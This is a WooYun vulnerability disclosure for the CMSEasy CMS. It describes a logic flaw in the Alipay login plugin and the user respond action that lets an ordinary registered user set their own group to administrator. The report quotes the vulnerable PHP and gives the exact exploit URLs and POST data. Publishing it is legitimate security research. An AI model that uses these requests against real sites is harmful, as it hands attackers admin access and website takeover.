当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081934

漏洞标题:cmseasy 逻辑缺陷可升级普通用户为管理员(shell还会难吗)

相关厂商:cmseasy

漏洞作者: menmen519

提交时间:2014-11-10 10:01

修复时间:2015-02-08 10:02

公开时间:2015-02-08 10:02

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-10: 细节已通知厂商并且等待厂商处理中
2014-11-10: 厂商已经确认,细节仅向厂商公开
2014-11-13: 细节向第三方安全合作伙伴开放
2015-01-04: 细节向核心白帽子及相关领域专家公开
2015-01-14: 细节向普通白帽子公开
2015-01-24: 细节向实习白帽子公开
2015-02-08: 细节向公众公开

简要描述:

cmseasy 逻辑缺陷可升级普通用户为管理员

详细说明:

user_act.php(130-155):

if (front::post('submit')) {
if (front::post('username') && front::post('password')) {
$username = front::post('username');
$password = md5(front::post('password'));
$data = array(
'username' => $username,
'password' => $password,
);
$user = new user();
$row = $user->getrow(array('username' => $data['username'], 'password' => $data['password']));
if (!is_array($row)) {
$this->login_false();
return;
}
$post[$classname] = session::get('openid');
$this->_user->rec_update($post, 'userid=' . $row['userid']);
cookie::set('login_username', $row['username']);
cookie::set('login_password', front::cookie_encode($row['password']));
session::set('username', $row['username']);
front::redirect(url::create('user'));
return;
} else {
$this->login_false();
return;
}
}


第一步 我们注册一个为test 密码为 111111的用户
然后发送url:
http://localhost/uploads/index.php?case=user&act=respond&ologin_code=groupid
postdata:
username=test&password=111111&submit=xxx
第二步:
$post[$classname] = session::get('openid');
这里 我们给$post传递进去了groupid 但是有个问题 session::get('openid') 并不存在 所以执行后 test用户的groupid 为0
那么下来我们在继续找一下
line 157-172:

include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php';
$ologinobj = new $classname();
$status = $ologinobj->respond();
//var_dump(session::get('openid'));exit;
$where[$classname] = session::get('openid');
if(!$where[$classname]) front::redirect(url::create('user'));
$user = new user();
$data = $user->getrow($where);
if(!$data){
$this->view->data = $status;
}else{
cookie::set('login_username',$data['username']);
cookie::set('login_password',front::cookie_encode($data['password']));
session::set('username',$data['username']);
front::redirect(url::create('user'));
}


这里我们看看是不是要写session 其他的认证信息 我们都忽略 我们只关心这里的openid生效不 可控不
当$classname为alipaylogin.php时候 我们跟进去

function respond() {

ini_set("display_errors","On");
$where = array('ologin_code'=>front::$get['ologin_code']);
$ologins = ologin::getInstance()->getrows($where);
$ologin = unserialize_config($ologins[0]['ologin_config']);
//var_dump($ologin);

$aliapy_config['partner'] = $ologin['alipaylogin_id'];
$aliapy_config['key'] = $ologin['alipaylogin_key'];
$aliapy_config['return_url'] = ologin::url(basename(__FILE__,'.php'));
$aliapy_config['sign_type'] = 'MD5';
$aliapy_config['input_charset']= 'utf-8';
$aliapy_config['transport'] = 'http';
$aliapy_config['cacert'] = getcwd().'/lib/plugins/alipayauth/cacert.pem';
//var_dump($aliapy_config);
unset($_GET['case']);unset($_GET['act']);unset($_GET['ologin_code']);unset($_GET['site']);
require_once("alipayauth/alipay_notify.class.php");
$alipayNotify = new AlipayNotify($aliapy_config);
//var_dump($alipayNotify);
$verify_result = $alipayNotify->verifyReturn();
//var_dump($verify_result);

if(true || $verify_result) {//验证成功
$user_id = front::$get['user_id'];
$token = front::$get['token'];
session::set('access_token',$token);
session::set("openid",$user_id);
return array('nickname'=> front::get('real_name'));


if(true || $verify_result) {//验证成功 这一行我们让它永远成立 因为在这之前全是配置信息的东西
我们直接看这里

$user_id = front::$get['user_id'];
$token = front::$get['token'];
session::set('access_token',$token);
session::set("openid",$user_id);
return array('nickname'=> front::get('real_name'))


发现没有openid完全可控制
我们发送url:
http://localhost/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin&user_id=2&real_name=test
这时候我们的openid被设置为了2
那么我们回头在看看
发送url:
http://localhost/uploads/index.php?case=user&act=respond&ologin_code=groupid
postdata:
username=test&password=111111&submit=xxx
这时候 看看 我们的test用户组为:

43.png


我们在登陆后台看看

44.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-11-10 10:16

厂商回复:

漏洞已经通过其他渠道得知,切所有描述相同。。。

最新状态:

暂无